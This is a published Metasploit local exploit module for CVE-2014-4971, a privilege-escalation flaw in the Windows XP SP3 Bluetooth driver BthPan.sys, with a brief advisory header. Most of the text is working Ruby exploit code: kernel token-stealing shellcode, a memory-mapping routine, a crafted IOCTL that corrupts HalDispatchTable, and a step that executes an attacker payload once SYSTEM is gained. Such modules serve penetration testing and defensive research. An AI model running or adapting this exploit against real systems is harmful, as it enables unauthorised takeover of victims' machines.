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Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation

Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation
Posted Oct 15, 2014
Authored by Matt Bergin, Jay Smith | Site metasploit.com

A vulnerability within Microsoft Bluetooth Personal Area Networking module, BthPan.sys, can allow an attacker to inject memory controlled by the attacker into an arbitrary location. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile.

tags | exploit, arbitrary
advisories | CVE-2014-4971
MD5 | 035cf8c93123fb58d0f2fc4a5ffc401b

Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
'Description' => %q{
A vulnerability within Microsoft Bluetooth Personal Area Networking module,
BthPan.sys, can allow an attacker to inject memory controlled by the attacker
into an arbitrary location. This can be used by an attacker to overwrite
HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
NtQueryIntervalProfile.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Targets' =>
[
['Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
]
],
'References' =>
[
[ 'CVE', '2014-4971' ],
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
[ 'OSVDB', '109387' ]
],
'DisclosureDate' => 'Jul 18 2014',
'DefaultTarget' => 0
))
end


def ring0_shellcode
tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
tokenswap << "\x8B\x40\x44\x50\xBB\x04"
tokenswap << "\x00\x00\x00\x8B\x80\x88"
tokenswap << "\x00\x00\x00\x2D\x88"
tokenswap << "\x00\x00\x00\x39\x98\x84"
tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"
tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"
tokenswap << [session.sys.process.getpid].pack('V')
tokenswap << "\x8B\x80\x88\x00\x00\x00"
tokenswap << "\x2D\x88\x00\x00\x00"
tokenswap << "\x39\x98\x84\x00\x00\x00"
tokenswap << "\x75\xED\x89\xB8\xC8"
tokenswap << "\x00\x00\x00\x61\xC3"
end

def fill_memory(proc, address, length, content)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

unless proc.memory.writable?(address)
vprint_error("Failed to allocate memory")
return nil
end
vprint_good("#{address} is now writable")

result = proc.memory.write(address, content)

if result.nil?
vprint_error("Failed to write contents to memory")
return nil
end
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")

return address
end

def disclose_addresses(t)
addresses = {}

hal_dispatch_table = find_haldispatchtable
return nil if hal_dispatch_table.nil?
addresses['halDispatchTable'] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")

vprint_status('Getting the hal.dll base address...')
hal_info = find_sys_base('hal.dll')
if hal_info.nil?
vprint_error('Failed to disclose hal.dll base address')
return nil
end
hal_base = hal_info[0]
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")

hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
addresses['HaliQuerySystemInfo'] = hali_query_system_information

vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
addresses
end

def check
if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/
return Exploit::CheckCode::Safe
end

os = sysinfo["OS"]
return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i

handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return Exploit::CheckCode::Safe unless handle

session.railgun.kernel32.CloseHandle(handle)

return Exploit::CheckCode::Vulnerable
end

def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end

unless check == Exploit::CheckCode::Vulnerable
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
end

handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device")
end

my_target = targets[0]
print_status("Disclosing the HalDispatchTable address...")
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.")
else
print_good("Address successfully disclosed.")
end

print_status("Storing the shellcode in memory...")
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode
kernel_shell_address = 0x1

buf = "\x90" * 0x6000
buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400
buf[0x5000, kernel_shell.length] = kernel_shell

result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
end
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")

print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0)
session.railgun.kernel32.CloseHandle(handle)

print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)

print_status("Checking privileges after exploitation...")

unless is_system?
fail_with(Failure::Unknown, "The privilege escalation wasn't successful")
end
print_good("Privilege escalation successful!")

p = payload.encoded
print_status("Injecting #{p.length} bytes to memory and executing it...")
unless execute_shellcode(p)
fail_with(Failure::Unknown, "Error while executing the payload")
end
end
end

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